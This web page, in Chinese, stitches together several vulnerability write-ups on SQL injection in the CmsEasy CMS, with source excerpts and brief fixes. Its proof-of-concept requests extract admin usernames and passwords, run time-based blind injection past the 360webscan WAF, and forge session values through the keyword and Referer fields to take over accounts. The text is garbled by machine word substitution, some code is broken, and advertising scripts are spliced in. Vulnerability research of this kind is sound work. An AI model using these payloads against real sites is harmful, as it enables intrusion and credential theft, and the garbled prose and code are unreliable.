如何修改cmseasy 后台 修改的archive函数

我的网站,欢迎您的光临!
当前位置: >
Cmseasy SQL注射漏洞之三及修复
编辑:admin
bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入
/bbs/add-archive.php 30行
if($id = $archive-&inserData($_POST)){
直接带入整个$_POST
/bbs/model/db/base.php 38行
public function inserData($data){
$r = $this-&odb-&insert($this-&tblName,$data); //在跟入
return $this-&odb-&getInsertId();
/bbs/commonlib/db.php
public function insert($table, $data)
$sql = $this-&getInsertString($table, $data);//拼接sql 继续看。。
return $this-&execSql($sql);
public function getInsertString($table, $data)
$n_str = '';
$v_str = '';
$table = $this-&filterString($table);
foreach ($data as $k =& $v)//遍历数据
因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值
$n_str .= $this-&filterString($k).',';
$v_str .= &'&.$this-&filterString($v).&',&;
$n_str = preg_replace( &/,$/&, &&, $n_str );
$v_str = preg_replace( &/,$/&, &&, $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
public function filterString($str)
if ($this-&magic_quotes)
$str = stripslashes($str);
if ( is_numeric($str) ) {
$ret = @mysqli_real_escape_string($this-&con, $str);
if ( strlen($str) && !isset($ret) ) {
$r = $this-&checkConnection();
if ($r !== true) {
$this-&closeDB();
过滤也没什么用 因为没过滤关键一些语句
里面还有一个360safe.php的脚本 但是 这个并不过滤键名 只过滤键值
还有一个变量名中的点和空格被转换成下划线。不过不用空格也是可以的。。
http://127.0.0.1/PHP/CmsEasy/bbs/add-archive.php?cid=1
title=a&content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID%3D1)))#=c&submit=a&verify=HKCX
mysql 日志 :
2070 QueryINSERT INTO cmseasy_bbs_archive (title,content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID=1)))#,username,userid,ip,addtime) VALUES('a','c',';,'4','127.0.0.1','')
修复方案:
不要把$_POST提交过去。。
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
本类排行榜$tmp1与$tmp[1]开辟人员一时犯糊涂,没看清,导致无效过滤。并且这里get参数进行了重组,大年夜$_SERVER["REQUEST_URI"]瓜分获取,画蛇添足,还导致之前的过滤全部无效,这边过滤又掉效。
经由过程front::$get['code'] 可以控制须要加载的pay文件,
再看文件: alipay.php:
function respond() {&&&&&&&&if (!empty($_POST)) {&&&&&&&&&&&&foreach($_POST as $key =&$data) {&&&&&&&&&&&&&&&&if(preg_match('/(=|&|&|\')/', $data)){&&&&&&&&&&&&&&&&&&&&return false;&&&&&&&&&&&&&&&&}&&&&&&&&&&&&&&&&$_GET[$key] = $data;&&&&&&&&&&&&}&&&&&&&&}&&&&&&&&$payment&&= pay::get_payment($_GET['code']);&&&&&&&&$seller_email = rawurldecode($_GET['seller_email']);&&&&&&&&$order_sn = str_WordStr($_GET['subject'],'',$_GET['out_trade_no']);&&&&&&&&$order_sn = trim($order_sn);&&&&&&&&if (!pay::check_money($order_sn,$_GET['total_fee'])) {&&&&&&&&&&&&return false;&&&&&&&&}&&&&&&&&if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {&&&&&&&&&&&&pay::changeorders($order_sn,$_GET);&&&&&&&&&&&&return true;&&&&&&&&}else {&&&&&&&&&&&&return false;&&&&&&&&}&&&&}
archive_act.php(611行)
控制参数trade_status=WAIT_SELLER_SEND_GOODS, 进入pay::changeorders($order_sn,$_GET);
public static function changeorders($id,$orderlog) {&&&&//file_put_contents('logs.txt', $id);&&&&&&&&$where=array();&&&&&&&&$where['id']=$&&&&&&&&$where['status']=4;&&&&&&&&//$where['orderlog']=serialize($orderlog);&&&&&&&&$update=orders::getInstance()-&rec_update($where,$id);&&&&&&&&if($update&1) {&&&&&&&&&&&&exit('改变订单状况掉足,请接洽治理员');&&&&&&&&}&&&&}
在这里 $id 就是之前$order_sn,可以直接由get参数控制。
进入这个办法:$update=orders::getInstance()->rec_update($where,$id);
function rec_update($row,$where) {&&&&&&&&$tbname=$this-&name;&&&&&&&&$sql=$this-&sql_update($tbname,$row,$where);&&&&&&&&//echo $sql."&br&";&&&&&&&&return $this-&query_unbuffered($sql);&&&&}
function respond_action() {&&&&&&&&include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';&&&&&&&&$payclassname = front::$get['code'];&&&&&&&&$payobj = new $payclassname();&&&&&&&&$uri = $_SERVER["REQUEST_URI"];&&&&&&&&$__uriget = strstr($uri, '?');&&&&&&&&$__uriget = str_WordStr('?', '', $__uriget);&&&&&&&&$__uriget = explode('&', $__uriget);&&&&&&&&$_GET = array();&&&&&&&&foreach ($__uriget as $key =& $val) {&&&&&&&&&&&&$tmp = explode('=', $val);&&&&&&&&&&&&$_GET[$tmp[0]] = $tmp[1];&&&&&&&&&&&&if(preg_match('/\'|select|union|"/i', $tmp1)){&&&&&&&&&&&&&&&&exit('不法参数');&&&&&&&&&&&&}&&&&&&&&}&&&&&&&&file_put_contents('logs11.txt', var_export($_GET,true));&&&&&&&&$status = $payobj-&respond();&&&&&&&&if ($status) {&&&&&&&&&&&&echo '&script type="text/javascript"&alert("' . lang('已经付款,跳转到订单萌芽') . '")&/script&';&&&&&&&&&&&&front::refresh(url('archive/orders/oid/' . front::get('subject'), true));&&&&&&&&} else {&&&&&&&&&&&&echo '&script type="text/javascript"&alert("' . lang('跳转到订单萌芽') . '")&/script&';&&&&&&&&&&&&front::refresh(url('archive/orders/oid/' . front::get('subject'), true));&&&&&&&&}&&&&}
这里法度榜样员又犯糊涂了, rec_update的办法 where变量明显是第二个参数,传入的时刻居然$where放到了第一个参数(这个法度榜样员开了吧!),如许$id值就被当做sql语句的前提了。
好吧 开端绕waf:
起首是360的waf: 检测了很多多少危险函数,更可恶的全局过滤单引号,看到就杀。然则$order_sn 直接被带入到了where后面 根本不须要单引号,不起感化, 在之前的办法中有一个:
$order_sn = str_WordStr($_GET['subject'],'',$_GET['out_trade_no']);如许应用调换功能,在危险函数中心都插入^, 再把subject设置成^,就可以成功绕过360waf。
接下来在sql语句履行的时刻又有一个过滤器:
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){&&&&&&&&//echo $&&&&&&&&exit('sql inject');&&&&&&&&}
因为是update注入,又不克不及显示缺点,sleep被过滤,只能用BENCHMARK。又过滤了if,只能用or。
get参数又是大年夜querystring中直接以前,空格会被调换成 ,所有只能用/**/调换:
最终的POC:(延时盲注法,稍微修改下)
1.http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS
解决筹划:
最后编辑于:作者: BugSec
关注WEB互联网资讯,小菜B 一枚!cmseasy最新版 一枚注入
可惜没绕过360webscan(其实是轻松绕过的)
cmseasy最新版0318 存在一个注入
漏洞文件:/lib/default/archive_act.php
250-251行:
function search_action() {//print_r($_SESSION);exit();
if (front::get('ule')) {
front::$get['keyword'] = str_replace('-', '%', front::$get['keyword']);
front::$get['keyword'] = urldecode(front::$get['keyword']);
if (front::get('keyword') && !front::post('keyword'))
front::$post['keyword'] = front::get('keyword');
front::check_type(front::post('keyword'), 'safe');
if (front::post('keyword')) {
$this-&view-&keyword = trim(front::post('keyword'));
session::set('keyword', trim(front::post('keyword')));
/* if(isset(front::$get['keyword']))
front::redirect(preg_replace('/keyword=[^&]+/','keyword='.urlencode($this-&view-&keyword),front::$uri));
front::redirect(front::$uri.'&keyword='.urlencode($this-&view-&keyword)); */
$this-&view-&keyword = session::get('keyword');
if(preg_match('/union/i',$this-&view-&keyword) || preg_match('/&/i',$this-&view-&keyword) ||preg_match('/\'/i',$this-&view-&keyword)){
exit('非法参数');
重要代码:
if (front::get('ule')) {
front::$get['keyword'] = str_replace('-', '%', front::$get['keyword']);
front::$get['keyword'] = urldecode(front::$get['keyword']);
get获取的ule存在即可进入这个条件语句
- 变成 % 之后urldecode
导致可以直接引入' 只需传入-27即可
session::set('keyword', trim(front::post('keyword')));
对应函数代码:
class session {
static function get($key) {
if (isset($_SESSION[$key]))
return $_SESSION[$key];
static function set($key,$var) {
$_SESSION[$key]=$
static function del($key) {
unset($_SESSION[$key]);
//session_start();
cmseasy在赋予session值后 会进行一个write操作
/lib/plugins/stsession.php
public function write($id,$data) {
$sql = &SELECT * FROM {$this-&_prefix}sessionox where PHPSESSID = '$id'&;
//var_dump($sql);
$res = $this-&_db-&query($sql);
$time = time();
$row = $this-&_db-&fetch_array($res);
if ($row) {
//if ($row['data'] != $data) {
$sql = &UPDATE {$this-&_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'&;
$this-&_db-&query($sql);
if (!empty($data)) {
$sql = &INSERT INTO {$this-&_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this-&_ip','$data')&;
$this-&_db-&query($sql);
$data数据进入update操作 造成注入
而之后参数preg_match是在数据库操作之后 并无影响
if(preg_match('/union/i',$this-&view-&keyword) || preg_match('/&/i',$this-&view-&keyword) ||preg_match('/\'/i',$this-&view-&keyword)){
exit('非法参数');
而拦截白名单也做出更改了 想不到办法绕过360webscan
拦截目录白名单
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
$url_path=$_SERVER['SCRIPT_NAME'];
foreach($_GET as $key=&$value){
$url_var.=$key.&=&.$value.&&&;
if (preg_match(&/&.$webscan_white_name.&/is&,$url_path)==1&&!empty($webscan_white_name)) {
foreach ($webscan_white_url as $key =& $value) {
if(!empty($url_var)&&!empty($value)){
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
elseif (empty($url_var)&&empty($value)) {
if (stristr($url_path,$key)) {
证明一下存在注入
http://127.0.0.1/cmseasy/index.php?case=archive&act=search&keyword=-27,client_ip=user()-23&ule=1
绕过了360webscan就可以直接盲注了
解决方案:
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'cmseasy的SQL注射漏洞(附分析和exp)
cmseasy sql注射漏洞
先看 manage_act.php 174行
if(!session::get('from')) session::set('from',front::$from);
如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。
在 front_class.php 312-313
if (isset($_SERVER['HTTP_REFERER']))
self::$from=$_SERVER['HTTP_REFERER'];
看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的,导致我又可以注射了。
之前发了个已经说到了他session保存在数据库中,有出注入基本就可以控制它整个系统了..( WooYun: cmseasy 的一个高危漏洞(设计缺陷) )
----------
不多说了.上exp,先注册一个号 然后
/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1
来源 http://127.0.0.1/',DATA=0x6FC733A313A2232223B,client_ip=' 改为这个
正当我觉得很顺利的时候,发现webscan360拦截了我,
新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。
还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,)
单引号不能使用,想了想
from|s:4:&2222&;
结构是这样的,哪我 把2222 换成 &;openid|s:1:&2 能不能闭合呢.
结果处理成这样了
(不知道它如何 对session的转换代码,那自己只能fuzz测试了)
提交&;openid|s:1:&2
from|s:15:&&;openid|s:1:&2&;
打印了 SESSION 发现闭合失败,15个字符包含其中,那我使用 转义符 &\& 把双引号转义掉,他这个字符就会少一个
提交 :\&;openid|s:1:&2
from|s:16:&&;openid|s:1:&2&;
s 16 但他只有15
转换后 变成了 from|N; 果然出错了,继续测试
提交 :\&;\openid|s:1:\&2
数据库 : from|s:18:&&;openid|s:1:&2&;
转换后的数据库中 : from|N;18:&&;openid|s:1:&2&;
打印了代码,看来有戏
[&18:&&;openid&]=&
string(1) &2&
我们继续闭合,我们需要让18:&&; 这部分自成一个数据就好了。
经过我一番测试后 终于让他解析成功。
提交: |N;\openid|s:1:\&2\&
数据库 :from|s:20:&|N;openid|s:1:&2&&;
转换后的数据库中 :from|N;20:&|N;openid|s:1:&2&;
打印的代码,解析成功了。
[&20:&&]=&
[&openid&]=&
string(1) &2&
分析补充:
标题:php某函数使用不当导致的漏洞
Cmseasy 使用了session_set_save_handler了,其作用是 把session存到数据库中,而代替 文件
而在我研究中 发现,使用session_set_save_handler 不当就很会出现问题,而任意操纵session,很可怕!
session_set_save_handler php官网的介绍
write(string $sessionId, string $data)
在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。
序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。
PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。
//写 将 $_SESSION 中数据序列化 存入数据库中.
read(string $sessionId)
如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。
在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。
// 反序列化数据库中的 session 然后返回。
Cmseasy中是这样的 :
__construct 构造函数
session_start();
$this-&refresh(session_id());
Refresh -& gc //目的就是看时间差来判断 session过期了没有,如果过期了就删除掉这条session数据
读取的时候 会先从数据库中读取出来 然后 return $result ['data']; 然后 反序列化( session_decode() ) $result ['data'];数据并填充 $_SESSION 超级全局变量,
之后在调用 write 用把 $_SESSION数据序列化( SESSION_ENCODE()) ,的数据写入数据库,并更新时间&update_time&(表示自己还在活动中)。
使用出错就出错在 write 没有把数据进行转义处理,而导致的解析出错。
(我先自己在他的框架内做的测试
$_SESSION[&TEST&] = $_POST[&a&] //我自己测试方便去掉了 实体化。
我们提交 一个 & \ &他所对应的sql中就是TEST|s:2:&\\&; 插入数据库中 就会变成TEST|s:2:&\&; 因为 \是转义符啊。而它php自己处理的session序列化值却不认这个符号 把他当作普通字符串来序列化。
显然 按照它的流程来的话,读取了这个值就会出现无法反序列化的情况。
数据会变成 TEST|N; 空值,这个一个bug 导致了问题的出现。
现在我们来尝试闭合它,来创建其他的值。
提交 |N;\ 为什么提交这个?因为 |N;来满足他后面的闭合 用 转义符让他的结构出错。
TEST|s:5:&|N;\&; -& null
我们自己加一个值呢?加个 ooo 值吧
提交的:|N;ooo|s:2:&aa&\
数据库中 :TEST|s:20:&|N;ooo|s:2:&aa&;\&;
已经解析写入数据库中 :TEST|s:20:&|N;ooo|s:2:&aa&;\&;
[&TEST&]=& NULL [&20:&&]=& NULL [&ooo&]=& string(2) &aa&
居然成功解析掉了,
在 archive_act.php中。有一段讲搜索记录存入session中的代码。
if (front::post('keyword')) {
$this-&view-&keyword = trim(front::post('keyword'));
session::set('keyword', trim(front::post('keyword'))); //存入。
我知道cmseasy全局都实体化了。中间测试fuzz费劲,,最后成功了,但是只能使用 int类型的,
提交的:N|openid|i:1;&1&\ ,
数据库:keyword|s:40:&N|openid|i:1;|xx|s:1:\\\&1\\\&&;
已经解析写入数据库中 :keyword|N;30:&N|N;openid|i:1;
[&keyword&]=& NULL [&30:&N&]=& NULL [&openid&]=& int(1) [&username&]=& string(10) &test_Noxxx&
还有个地方提下,
manage_act.php 174行&
if(!session::get('from')) session::set('from',front::$from);
如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。
在 front_class.php 312-313
if (isset($_SERVER['HTTP_REFERER']))
self::$from=$_SERVER['HTTP_REFERER'];
看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的。
(新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。
还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,))
这里的和 上面做了转义处理没做实体化处理的同理
Referer: |N;openid|s:1:\&2\&\ 这样即可
这个有好几个利用 比如 user_act.php 中的 edit_action函数内的userid 任意修改密码,再比如 respond_action 函数中的openid 注册管理员。
最后附上几个 测试的代码
CREATE TABLE `ws_sessions` (
`session_id` varchar(255) binary NOT NULL default '',
`session_expires` int(10) unsigned NOT NULL default '0',
`session_data` text,
PRIMARY KEY
(`session_id`)
) TYPE=MyISAM;
class session {
// session-lifetime
var $lifeT
// mysql-handle
function open($savePath, $sessName) {
// get session-lifetime
$this-&lifeTime = get_cfg_var(&session.gc_maxlifetime&);
// open database-connection
$dbHandle = @mysql_connect(&localhost&,&name&,&pwd&);
$dbSel = @mysql_select_db(&db&,$dbHandle);
// return success
if(!$dbHandle || !$dbSel)
$this-&dbHandle = $dbH
function close() {
$this-&gc(ini_get('session.gc_maxlifetime'));
// close database-connection
return @mysql_close($this-&dbHandle);
function read($sessID) {
// fetch session-data
$res = mysql_query(&SELECT session_data AS d FROM ws_sessions
WHERE session_id = '$sessID'
AND session_expires & &.time(),$this-&dbHandle);
// return data or an empty string at failure
if($row = mysql_fetch_assoc($res))
return $row['d'];
return &&;
function write($sessID,$sessData) {
// new session-expire-time
$newExp = time() + $this-&lifeT
// is a session with this id in the database?
$res = mysql_query(&SELECT * FROM ws_sessions
WHERE session_id = '$sessID'&,$this-&dbHandle);
//$sessData = addslashes($sessData);
if(mysql_num_rows($res)) {
// ...update session-data
mysql_query(&UPDATE ws_sessions
SET session_expires = '$newExp',
session_data = '$sessData'
WHERE session_id = '$sessID'&,$this-&dbHandle);
// if something happened, return true
if(mysql_affected_rows($this-&dbHandle))
// if no session-data was found,
// create a new row
mysql_query(&INSERT INTO ws_sessions (
session_id,
session_expires,
session_data)
'$sessID',
'$newExp',
'$sessData')&,$this-&dbHandle);
// if row was created, return true
if(mysql_affected_rows($this-&dbHandle))
// an unknown error occured
function destroy($sessID) {
// delete session-data
mysql_query(&DELETE FROM ws_sessions WHERE session_id = '$sessID'&,$this-&dbHandle);
// if session was deleted, return true,
if(mysql_affected_rows($this-&dbHandle))
// ...else return false
function gc($sessMaxLifeTime) {
// delete old sessions
mysql_query(&DELETE FROM ws_sessions WHERE session_expires & &.time(),$this-&dbHandle);
// return affected rows
return mysql_affected_rows($this-&dbHandle);
$session = new session();
session_set_save_handler(array(&$session,&open&),
array(&$session,&close&),
array(&$session,&read&),
array(&$session,&write&),
array(&$session,&destroy&),
array(&$session,&gc&));
session_start();
if (!empty($_GET['v'])){
var_dump($_SESSION);
$_POST = daddslashes($_POST);
$_SESSION['test']=$_POST['s'];
function daddslashes($string, $force = 1) {
if (is_array($string)) {
$keys = array_keys($string);
foreach ($keys as $key) {
$val = $string[$key];
unset($string[$key]);
$string[addslashes($key)] = daddslashes($val, $force);
$string = (addslashes(trim($string)));
session_start();
var_dump(session_decode('test|s:20:&|N;ooo|s:2:&aa&;\&;'));
下了分php的源码但是不怎么明白..怎么执行的。最后都调用来的 php_var_unserialize ,。。
最后说一下 这个也算是php的一个小bug把。我查看php官网上session_set_save_handler 函数 说明 好像并没有看见说明安全性的问题...广大朋友要注意这一点了。。
/cmseasy/index.php?case=manage&act=edit&manage=archive&id=1
Referer: |N;\openid|s:1:\&2\&
利用方法很多,用到session地方都可以伪造,参考 WooYun: cmseasy 的一个高危漏洞(设计缺陷) ,
解决方案:
write 中转义data&
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'

我要回帖

更多关于 cmseasy 后台 修改 的文章

 

随机推荐